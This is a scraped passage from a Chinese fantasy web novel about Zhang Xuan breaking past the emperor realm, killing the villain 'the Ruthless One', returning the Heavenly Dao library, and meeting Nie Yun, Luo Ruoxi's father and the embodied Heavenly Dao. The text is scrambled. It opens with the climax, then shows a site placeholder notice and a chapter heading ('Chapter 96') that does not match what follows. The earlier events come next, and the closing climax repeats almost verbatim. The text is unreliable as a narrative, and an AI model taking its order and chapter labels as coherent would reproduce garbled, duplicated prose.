连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第96章 妖雷,暴雨梨花弩 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 